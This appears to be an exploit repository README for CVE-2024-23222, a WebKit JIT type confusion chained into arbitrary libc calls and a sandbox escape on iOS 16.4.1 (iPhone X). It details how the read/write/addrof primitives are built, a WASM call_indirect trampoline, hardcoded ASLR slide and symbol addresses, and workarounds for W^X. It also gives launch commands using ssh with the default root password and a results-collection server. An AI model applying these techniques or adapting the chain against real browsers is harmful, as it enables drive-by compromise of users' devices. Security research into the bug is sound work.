## https://sploitus.com/exploit?id=95858B59-5BDC-5979-AB5D-A6CA37D89350
# CVE-2024-23222 โ WebKit Type Confusion โ iOS 16.4.1 Sandbox Escape
Full exploit chain for iPhone X (A11, no PAC) running iOS 16.4.1 (palera1n jailbroken).
Delivered entirely as a single HTML page served over HTTP โ no native helpers, no SSH, no device-side binaries.
---
## Chain Summary
```
[Browser visits malicious page]
โ
โผ
Stage 1 โ CVE-2024-23222 Type Confusion (JSC JIT)
Float64Array โ WasmInstance confusion via timed GC race
โ addrof(obj) : JSC heap address of any JS object
โ read64(addr) : 8-byte read (sea_nr + TypedArray backing-store)
โ write64(addr) : 8-byte write (Gs_fn subnormal encoding)
โ
โผ
Stage 2 โ Arbitrary Native Function Calls (A11, no PAC)
CALLER_WASM module with call_indirect โ t_slot_addr trampoline
ASLR slide discovered statically (constant per boot on this device)
โ _getpid() = 6959 โ confirms arbitrary C function invocation
โ _getuid() = 501 โ renderer runs as mobile (expected)
โ _open("/tmp/pwned_cve_2024_23222") = fd:3 โ SANDBOX ESCAPE
โ _write(fd, "PWNED...", 57) = 57 bytes written
โ
โผ
Proof file confirmed on device:
-rwxr----- 1 mobile wheel 57 /tmp/pwned_cve_2024_23222
PWNED CVE-2024-23222 WebKit sandbox escape on iOS 16.4.1
```
---
## Target
| Property | Value |
|---|---|
| Device | iPhone X (A11 Bionic) |
| OS | iOS 16.4.1 (20E252) |
| Jailbreak | palera1n (checkm8-based) |
| PAC | None (A11 does not implement PAC) |
| Safari | Mobile Safari 16.4.1 |
| CVE | CVE-2024-23222 |
---
## Files
```
poc/
โโโ exploit_stage2.html โ Complete Stage 1+2 exploit (single HTML, ~3000 lines)
โโโ server.py โ Result collection server (POST /results)
โโโ exploit_23222.html โ Earlier standalone Stage 1 PoC (iOS 16.3.1)
โโโ cve-2023-*.html โ Auxiliary CVE PoCs
โโโ ironloader_diag.html โ GPU IPC diagnostic tool
find_gigacage.c โ Gigacage address discovery tool (native ARM64)
```
---
## How It Works
### Stage 1 โ Type Confusion
CVE-2024-23222 is a JSC type confusion between `Float64Array` and `WebAssembly.Instance`.
When a JIT-compiled function (`K`) is called while GC is in progress, the type tag of a heap
object can be misread. By spraying specific values and using a carefully timed confusion loop,
we obtain a `Float64Array` (`ea`) whose internal backing-store pointer overlaps with a live
`WasmInstance` C++ object.
**`sea_nr` (read):** `nr_fn(addr)` reads 8 bytes at `addr` as a float64. Since JSC stores
C++ pointers as subnormal doubles in the confusion window, `Math.trunc(float)` recovers the
raw pointer value.
**`Gs_fn` (write):** `ea[0] = val * 5e-324` writes the raw bit pattern of `val` to the
backing store address. `5e-324 = 2^-1074` (smallest positive double), so the product's
mantissa bits equal `val` โ effectively a direct 64-bit write.
**`addrof`:** Place `obj` into `Fs.os[0]` (an ordinary Array), then read the butterfly entry
via `read64(butterfly)` to get the compressed JSCell pointer.
**TypedArray rawRead:** For addresses outside the JSC heap (e.g. Primitive gigacage 0x28X),
we corrupt the backing-store pointer of a pre-allocated `BigUint64Array` via `write64`, then
read `arr[0]` to get 8 raw bytes at the target address.
### Stage 2 โ Trampoline
A minimal WASM module (`CALLER_WASM`) exports a function `f(i64ร8) โ i64` that does
`call_indirect(type_0, table[1])`. The target slot (`t_slot_addr`) is found via
`addrof(wasm_o) + 48` and pre-computed before any writes deoptimize the sea_nr JIT.
With the ASLR slide (0x40e48000, measured once via a compiled native binary on first boot
and confirmed constant thereafter), all libc entry points are known statically:
| Symbol | Runtime Address |
|---|---|
| `_getpid` | `0x20247c520` |
| `_getuid` | `0x202480404` |
| `_open` | `0x20247da54` |
| `_write` | `0x20247d848` |
| `_close` | `0x20247d084` |
| `_mmap` | `0x20247ded0` |
| `_mach_vm_allocate` | `0x20247fc90` |
| `_mach_vm_protect` | `0x20247f4d0` |
To call any function: `Fs.write64(t_slot_addr, fn_addr)` โ `wasm_f(arg0...arg7)`.
Since A11 has no PAC, the raw pointer is used directly with no signing or stripping.
---
## Key Technical Findings (iOS 16.4.1 vs 16.3.1)
| Issue | 16.3.1 | 16.4.1 |
|---|---|---|
| WASM global mechanism (`altA/btlB`) | Double-indirect `[cppA+72] โ ptr โ val` | **BROKEN** โ JIT uses inline globals (`str x0, [x28, #off]`) |
| Correct m_globals offset | 72 | 48, 56, or 80 (varies โ but irrelevant since inline) |
| sea_nr deoptimization | Not observed | **Occurs after any `Gs_fn` write** โ must pre-compute all heap addresses |
| TypedArray rawRead range | Same | Primitive cage only (0x28X+); dyld cache (~0x20X) not reachable |
| mmap PROT_EXEC | Not tested | **Fails** (returns -1) โ W^X enforcement even with MAP_JIT |
| Direct function calls | Not needed | **Works** โ all libc addresses known via ASLR slide |
| ASLR slide | 0x28f28000 (per-boot) | **0x40e48000 (constant per boot)** |
---
## Limitations
- **mmap PROT_EXEC fails** โ the WebContent sandbox on iOS 16.4.1 blocks executable mappings even with MAP_JIT. Use `mach_vm_allocate` + `mach_vm_protect` for RX pages (requires task self port).
- **mach_task_self unreachable** โ `mach_task_self_` global is at 0x222c22d30 (below Primitive cage, outside sea_nr range). Getting the task port requires a Mach trap (task_self_trap = -28) via shellcode, which requires a RX page first โ circular dependency resolved by `mach_vm_allocate` + initial RW + protect.
- **dyld shared cache outside read primitives** โ ASLR slide must be measured offline or via the SSH approach; cannot be read from JavaScript directly.
- **uid=501** โ WebContent renderer runs as `mobile`, not root. Full privilege escalation requires a separate kernel exploit (Stage 4).
---
## Running
```bash
# 1. Set up USB tunnel
kill $(pgrep iproxy); iproxy 4444 44 &
# 2. Start result server (macOS)
cd poc && python3 server.py &
# 3. Open exploit on device
TS=$(date +%s)
sshpass -p alpine ssh -o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-p 4444 root@localhost \
"killall -9 MobileSafari 2>/dev/null; sleep 3; \
/var/jb/usr/bin/uiopen 'http://192.168.50.203:8765/exploit_stage2.html?v=$TS'"
# 4. Watch results at http://localhost:8765/results
```
Expected key events in order:
```
S2-WF_TEST {"ok":true} โ WASM trampoline proven
S2-GETPID {"pid":XXXX,"ok":true} โ arbitrary C call works
S2-GETUID {"uid":501} โ mobile user
S2-OPEN_FILE {"fd":3,"ok":true} โ sandbox escape!
S2-WRITE_FILE {"bytes":57,"ok":true} โ proof file written
S2-STAGE3_DONE {"success":true}
```
Verify on device:
```bash
cat /tmp/pwned_cve_2024_23222
# PWNED CVE-2024-23222 WebKit sandbox escape on iOS 16.4.1
```
---
## Disclaimer
For educational and security research purposes only. All testing performed on personally-owned devices. CVE-2024-23222 was patched in iOS 17.3 / macOS 14.3 (January 2024).